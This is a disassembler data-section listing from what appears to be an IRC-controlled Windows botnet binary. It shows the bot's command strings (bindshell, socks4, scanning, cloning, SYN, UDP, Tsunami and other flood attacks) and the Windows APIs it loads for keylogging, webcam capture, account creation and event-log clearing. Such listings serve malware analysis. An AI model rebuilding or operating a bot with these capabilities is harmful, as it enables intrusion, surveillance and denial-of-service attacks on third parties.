aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Bo
align 4
aTrstats db 'trstats',0 ; DATA XREF: sub_401ACD+1566o
aTransferstats db 'transferstats',0 ; DATA XREF: sub_401ACD+1551o
align 10h
aStats db 'stats',0 ; DATA XREF: sub_401ACD+153Co
align 4
aScanstats db 'scanstats',0 ; DATA XREF: sub_401ACD+1527o
align 4
dword_42CA34 dd 234032Dh, 6E616373h, 2D0302h ; DATA XREF: sub_401ACD+151Co
aScan_0 db 'Scan',0 ; DATA XREF: sub_401ACD+1517o
align 4
aScanstop db 'scanstop',0 ; DATA XREF: sub_401ACD+14FEo
align 4
dword_42CA54 dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_401ACD+14F3o
aSecure_0 db 'Secure',0 ; DATA XREF: sub_401ACD+14EEo
align 4
aSecurestop db 'securestop',0 ; DATA XREF: sub_401ACD+14D5o
align 4
dword_42CA78 dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_401ACD+14CAo
aClone db 'Clone',0 ; DATA XREF: sub_401ACD+14C5o
align 10h
aClonestop db 'clonestop',0 ; DATA XREF: sub_401ACD+14ACo
align 4
aPsstop db 'psstop',0 ; DATA XREF: sub_401ACD+1497o
align 4
aProcsstop db 'procsstop',0 ; DATA XREF: sub_401ACD+1482o
align 10h
aFfstop db 'ffstop',0 ; DATA XREF: sub_401ACD+146Do
align 4
aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401ACD+1458o
align 4
dword_42CAC8 dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_401ACD+144Do
aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401ACD+142Fo
align 4
aPingstop db 'pingstop',0 ; DATA XREF: sub_401ACD+1406o
align 10h
aUdpstop db 'udpstop',0 ; DATA XREF: sub_401ACD+13DDo
aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401ACD+13B4o
align 4
aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401ACD+138Bo
unk_42CB10 db 2Dh ; - ; DATA XREF: sub_401ACD+1371o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aAllPacketingAc db 'All packeting activity has been halted.',0
dword_42CB44 dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401ACD+1336o
; sub_401ACD+13D2o
dword_42CB54 dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; DATA XREF: sub_401ACD+1331o
; sub_401ACD+13CDo
dword_42CB64 dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401ACD+1318o
; sub_401ACD+13A9o
dword_42CB74 dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1313o
; sub_401ACD+13A4o
dword_42CB84 dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401ACD+12B8o
; sub_401ACD+1424o
dword_42CB90 dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+12B3o
; sub_401ACD+141Fo
dword_42CB9C dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Ao
; sub_401ACD+13FBo
dword_42CBA8 dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1295o
; sub_401ACD+13F6o
aPacketstop db 'packetstop',0 ; DATA XREF: sub_401ACD+1235o
align 10h
dword_42CBC0 dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401ACD+122Ao
; sub_401ACD+12F7o
dword_42CBCC dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1225o
; sub_401ACD+12F2o
aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401ACD+120Co
align 4
dword_42CBE4 dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401ACD+1201o
; sub_401ACD+12D9o
dword_42CBF4 dd 67726154h, 66203361h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11FCo
; sub_401ACD+12D4o
aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401ACD+11E3o
align 10h
dword_42CC10 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401ACD+11D8o
; sub_401ACD+1357o
dword_42CC20 dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11D3o
; sub_401ACD+1352o
aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401ACD+11BAo
align 4
dword_42CC3C dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11AFo
; sub_401ACD+1279o
dword_42CC48 dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+11AAo
; sub_401ACD+1274o
aSynstop db 'synstop',0 ; DATA XREF: sub_401ACD+1191o
dword_42CC5C dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401ACD+1186o
; sub_401ACD+125Bo
dword_42CC68 dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1181o
; sub_401ACD+1256o
dword_42CC74 dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1168o
dword_42CC80 dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_401ACD+115Do
dword_42CC90 dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_401ACD+1158o
aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401ACD+113Fo
align 10h
dword_42CCB0 dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1134o
dword_42CCBC dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_401ACD+112Fo
aLogstop db 'logstop',0 ; DATA XREF: sub_401ACD+1116o
dword_42CCD0 dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_401ACD+110Bo
aHttpstop db 'httpstop',0 ; DATA XREF: sub_401ACD+10EDo
align 4
dword_42CCEC dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_401ACD+10E2o
aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401ACD+10C4o
align 4
dword_42CD08 dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_401ACD+10BCo
aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401ACD+109Eo
align 4
aS4 db 's4',0 ; DATA XREF: sub_401ACD+1089o
align 4
aSocks4 db 'socks4',0 ; DATA XREF: sub_401ACD+1074o
align 10h
dword_42CD30 dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0
; DATA XREF: sub_401ACD+1052o
aServer_0 db 'Server',0 ; DATA XREF: sub_401ACD+104Do
; sub_401ACD+10B7o ...
align 4
aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401ACD+1034o
align 4
aBd db 'bd',0 ; DATA XREF: sub_401ACD+101Fo
align 10h
aBindshell db 'bindshell',0 ; DATA XREF: sub_401ACD+100Ao
align 4
aUnsec db 'unsec',0 ; DATA XREF: sub_401ACD+FF5o
align 4
aUnsecure db 'unsecure',0 ; DATA XREF: sub_401ACD+FE0o
align 10h
aSec db 'sec',0 ; DATA XREF: sub_401ACD+FCBo
; sub_401ACD+2D69o
aSecure db 'secure',0 ; DATA XREF: sub_401ACD+FB6o
; sub_401ACD+2D58o
align 4
aSt db 'st',0 ; DATA XREF: sub_401ACD+FA1o
align 10h
aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401ACD+F8Co
align 4
aDed db 'ded',0 ; DATA XREF: sub_401ACD+F77o
aDedication db 'dedication',0 ; DATA XREF: sub_401ACD+F62o
align 4
aVer db 'ver',0 ; DATA XREF: sub_401ACD+F4Do
aVersion db 'version',0 ; DATA XREF: sub_401ACD+F38o
aLo db 'lo',0 ; DATA XREF: sub_401ACD+F23o
align 4
aLogout db 'logout',0 ; DATA XREF: sub_401ACD+F0Eo
align 4
aD: ; DATA XREF: sub_401ACD+EF9o
; ___:004382DCo ...
unicode 0, <d>,0
aDie db 'die',0 ; DATA XREF: sub_401ACD+EE4o
aRn db 'rn',0 ; DATA XREF: sub_401ACD+ECFo
align 10h
aRndnick db 'rndnick',0 ; DATA XREF: sub_401ACD+EB7o
a63 db '63',0 ; DATA XREF: sub_401ACD+D84o
align 4
asc_42CDDC: ; DATA XREF: sub_401ACD+D5Co
unicode 0, <)>,0
aChr db '$chr(',0 ; DATA XREF: sub_401ACD+D1Fo
align 4
aServer_1 db '$server',0 ; DATA XREF: sub_401ACD+D14o
aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_401ACD+D03o
align 4
aChan db '$chan',0 ; DATA XREF: sub_401ACD+CE7o
align 4
aUser_0 db '$user',0 ; DATA XREF: sub_401ACD+CD6o
align 4
aMe db '$me',0 ; DATA XREF: sub_401ACD+CC4o
aD_0 db '$%d',0 ; DATA XREF: sub_401ACD+C56o
aD_1 db '$%d-',0 ; DATA XREF: sub_401ACD+B92o
align 4
aK: ; DATA XREF: sub_401ACD+AA6o
; sub_401ACD+3DD2o ...
unicode 0, <k>,0
unk_42CE20 db 2Dh ; - ; DATA XREF: sub_401ACD+A80o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0
align 4
unk_42CE54 db 2Dh ; - ; DATA XREF: sub_401ACD+A6Fo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatAlreadyAct db '- Chat already active with user: %s.',0
align 4
unk_42CE84 db 2Dh ; - ; DATA XREF: sub_401ACD+A5Eo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSta_31 db '- Failed to start chat thread, error: <%d>.',0
align 4
unk_42CEBC db 2Dh ; - ; DATA XREF: sub_401ACD+9EFo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatFromUserS_ db '- Chat from user: %s.',0
align 4
aChat db 'CHAT',0 ; DATA XREF: sub_401ACD+958o
align 4
unk_42CEE4 db 2Dh ; - ; DATA XREF: sub_401ACD+938o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
align 4
unk_42CF28 db 2Dh ; - ; DATA XREF: sub_401ACD+920o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSta_32 db '- Failed to start transfer thread, error: <%d>.',0
align 4
dword_42CF64 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
; DATA XREF: sub_401ACD+90Fo
dd 0A0Dh
dword_42CF7C dd 4E495001h, 47h ; DATA XREF: sub_401ACD+8DBo
dword_42CF84 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
; DATA XREF: sub_401ACD+8D0o
dd 0D017325h, 0Ah
dword_42CFA0 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_401ACD+89Fo
dword_42CFAC dd 23h ; DATA XREF: sub_401ACD+816o
; sub_40CA7F+1Bo
unk_42CFB0 db 2Dh ; - ; DATA XREF: sub_401ACD+785o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
align 10h
aS_1 db '%s',0 ; DATA XREF: sub_401ACD+706o
; sub_401ACD+995o ...
align 4
aSend_0 db 'SEND',0 ; DATA XREF: sub_401ACD+6DFo
align 4
dword_42CFEC dd 43434401h, 0 ; DATA XREF: sub_401ACD+6C1o
dword_42CFF4 dd 323333h ; DATA XREF: sub_401ACD+64Bo
; sub_401ACD+ADCo ...
aNotice db 'NOTICE',0 ; DATA XREF: sub_401ACD+629o
; sub_409A72+Fo
align 10h
aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401ACD+61Do
; sub_409A72+16o
unk_42D008 db 2Dh ; - ; DATA XREF: sub_401ACD+5CCo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedOut db 'User: %s logged out.',0
align 4
unk_42D02C db 2Dh ; - ; DATA XREF: sub_401ACD+5A5o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aJoinedChanne_0 db 'Joined channel: %s.',0
a353 db '353',0 ; DATA XREF: sub_401ACD+574o
aQuit db 'QUIT',0 ; DATA XREF: sub_401ACD+537o
align 4
aPart db 'PART',0 ; DATA XREF: sub_401ACD+526o
; sub_401ACD+5E9o
align 10h
aSS db ':%s%s',0 ; DATA XREF: sub_401ACD+4FEo
align 4
aNick db 'NICK',0 ; DATA XREF: sub_401ACD+3D0o
align 10h
aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
; sub_401ACD+60Do
unk_42D080 db 2Dh ; - ; DATA XREF: sub_401ACD+355o
; sub_401ACD+2EBCo ...
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedO_0 db 'User %s logged out.',0
aKick db 'KICK',0 ; DATA XREF: sub_401ACD+2E4o
align 4
aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+28Do
; sub_401ACD+7C8Eo ...
align 4
a433 db '433',0 ; DATA XREF: sub_401ACD+262o
; sub_4177CF:loc_417837o
a@: ; DATA XREF: sub_401ACD+23Ao
unicode 0, <@>,0
a302 db '302',0 ; DATA XREF: sub_401ACD+22Ao
a005 db '005',0 ; DATA XREF: sub_401ACD+215o
a001 db '001',0 ; DATA XREF: sub_401ACD+200o
aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
; sub_401ACD+3B7o ...
align 4
aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C3o
align 4
aPing db 'PING',0 ; DATA XREF: sub_401ACD+1A9o
; sub_4177CF+50o
align 4
asc_42D0EC: ; DATA XREF: sub_401ACD+19Ao
; sub_401ACD+7DADo
unicode 0, <!>,0
asc_42D0F0: ; DATA XREF: sub_401ACD+A8o
; sub_401ACD+E5Co ...
unicode 0, < >,0
asc_42D0F4 db ' :',0 ; DATA XREF: sub_401ACD+86o
; sub_401ACD:loc_402601o
align 4
aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A72+5Do
aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B12+C7Fo
align 10h
aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B12+C77o
aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409B12:loc_40A77Co
align 4
aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409B12+C15o
align 4
aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409B12+C08o
align 4
aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409B12+BFBo
align 4
aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409B12+BEEo
align 4
aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409B12+BE1o
align 4
aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409B12+BD9o
align 4
aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409B12:loc_40A6DEo
align 4
aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409B12+B97o
align 4
aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_409B12+B8Fo
align 4
aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409B12:loc_40A694o
aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409B12+B3Do
align 4
aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B12+B30o
align 4
aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B12+B23o
aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409B12+B1Bo
aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409B12:loc_40A620o
aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409B12+AD9o
align 4
aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409B12+AD1o
align 4
aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409B12:loc_40A5D6o
align 4
aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B12+A8Fo
align 4
aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B12+A87o
align 10h
aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409B12:loc_40A58Co
align 4
aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_409B12+9F9o
aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B12+9ECo
; sub_4185A4+65o
align 4
aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409B12+9DFo
align 4
aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409B12+9D2o
aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409B12+9C5o
align 4
aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409B12+9B8o
align 4
aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409B12+9ABo
align 4
aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409B12+99Eo
align 4
aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B12+991o
align 10h
aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409B12+984o
align 10h
aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409B12+977o
aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409B12+96Fo
aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409B12:loc_40A470o
; sub_4185A4+58o
align 4
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409B12+921o
align 4
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409B12+914o
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409B12+90Co
align 4
aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409B12:loc_40A411o
align 4
aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B12+8D2o
align 10h
aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409B12+860o
aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409B12+853o
align 4
aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B12+846o
align 4
aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B12+839o
align 10h
aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409B12+82Co
align 10h
aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409B12+81Fo
align 4
aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409B12+812o
align 4
aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B12+805o
align 4
aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B12+7F8o
aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B12+7F0o
align 4
aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409B12:loc_40A2F1o
aClosesocket db 'closesocket',0 ; DATA XREF: sub_409B12+6A6o
aGetpeername db 'getpeername',0 ; DATA XREF: sub_409B12+699o
aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409B12+68Co
align 4
aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409B12+67Fo
align 4
aGethostname db 'gethostname',0 ; DATA XREF: sub_409B12+672o
aGetsockname db 'getsockname',0 ; DATA XREF: sub_409B12+665o
aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409B12+658o
align 4
aAccept db 'accept',0 ; DATA XREF: sub_409B12+64Bo
align 4
aListen db 'listen',0 ; DATA XREF: sub_409B12+63Eo
align 4
aSelect db 'select',0 ; DATA XREF: sub_409B12+631o
align 4
aBind db 'bind',0 ; DATA XREF: sub_409B12+629o
align 4
aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409B12+617o
align 4
aRecv db 'recv',0 ; DATA XREF: sub_409B12+60Ao
align 10h
aSendto db 'sendto',0 ; DATA XREF: sub_409B12+5FDo
align 4
aNtohl db 'ntohl',0 ; DATA XREF: sub_409B12+5E3o
align 10h
aNtohs db 'ntohs',0 ; DATA XREF: sub_409B12+5D6o
align 4
aHtonl db 'htonl',0 ; DATA XREF: sub_409B12+5C9o
align 10h
aHtons db 'htons',0 ; DATA XREF: sub_409B12+5BCo
align 4
aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409B12+5AFo
align 4
aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409B12+5A2o
align 10h
aConnect db 'connect',0 ; DATA XREF: sub_409B12+595o
aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409B12+588o
aSocket db 'socket',0 ; DATA XREF: sub_409B12+57Bo
align 4
aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409B12+56Eo
align 4
aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409B12+561o
aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409B12+554o
align 4
a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409B12+547o
align 4
aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409B12+53Ao
align 4
aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409B12+52Do
align 10h
aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409B12+525o
align 4
aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409B12+514o
align 4
aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409B12+4A1o
align 4
aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409B12+494o
align 4
aBitblt db 'BitBlt',0 ; DATA XREF: sub_409B12+487o
align 4
aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409B12+47Ao
align 4
aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409B12+46Do
align 10h
aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409B12+460o
align 10h
aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B12+453o
align 4
aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409B12+446o
align 4
aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409B12+43Eo
align 4
aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409B12:loc_409F3Fo
align 10h
aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409B12:loc_409F17o
align 10h
aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B12+3ADo
align 4
aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409B12+3A0o
aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409B12+393o
align 4
aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409B12+386o
align 4
aControlservice db 'ControlService',0 ; DATA XREF: sub_409B12+379o
align 4
aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409B12+36Co
align 4
aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409B12+35Fo
align 4
aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409B12:loc_409E69o
align 4
aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B12+327o
align 4
aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B12+31Ao
align 4
aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409B12:loc_409E24o
align 4
aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_409B12+2C6o
align 4
aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_409B12+2B9o
align 4
aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409B12+2ACo
aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409B12+29Fo
aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409B12+292o
align 4
aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409B12+285o
align 4
aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409B12+278o
aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409B12+270o
align 4
aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409B12:loc_409D71o
align 4
aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409B12+21Ao
aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409B12+20Do
align 4
aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409B12+200o
aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B12:loc_409D0Ao
align 4
aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409B12+1A0o
align 4
aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409B12+193o
align 4
aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409B12+186o
align 10h
aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409B12+179o
align 10h
aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409B12+16Co
align 10h
aIswindow db 'IsWindow',0 ; DATA XREF: sub_409B12+15Fo
align 4
aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409B12+152o
aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409B12+14Ao
align 4
aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409B12:loc_409C47o
; sub_424D78+Do
align 4
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B12:loc_409C1Ao
align 4
aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B12+A0o
align 4
aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B12+93o
aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409B12+86o
aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409B12+79o
align 4
aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B12+6Co
aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B12+5Fo
aModule32first db 'Module32First',0 ; DATA XREF: sub_409B12+52o
align 4
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409B12+45o
align 4
aProcess32first db 'Process32First',0 ; DATA XREF: sub_409B12+38o
align 4
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B12+2Bo
align 4
aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409B12+23o
align 4
aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_409B12+Ao
align 4
unk_42D9F4 db 2Dh ; - ; DATA XREF: sub_40A7CE+2F2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aDllTestComplet db 'DLL test complete.',0
align 4
aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+2CCo
align 10h
aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+298o
aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+264o
align 4
aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+230o
align 4
aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1FCo
align 4
aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1C8o
aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+194o
align 4
aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+160o
align 4
aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+12Co
align 10h
aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+F8o
aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+C4o
align 10h
aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+90o
align 4
aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+5Co
aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+28o
align 10h
a_: ; DATA XREF: sub_40F96A+252o
unicode 0, <.>,0
unk_42DB84 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40ABF0o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aNotSupportedBy db 'not supported by this system',0
align 4
unk_42DBB4 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40ABBEo
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aUnableToAlloca db 'unable to allocate ARP cache',0
align 4
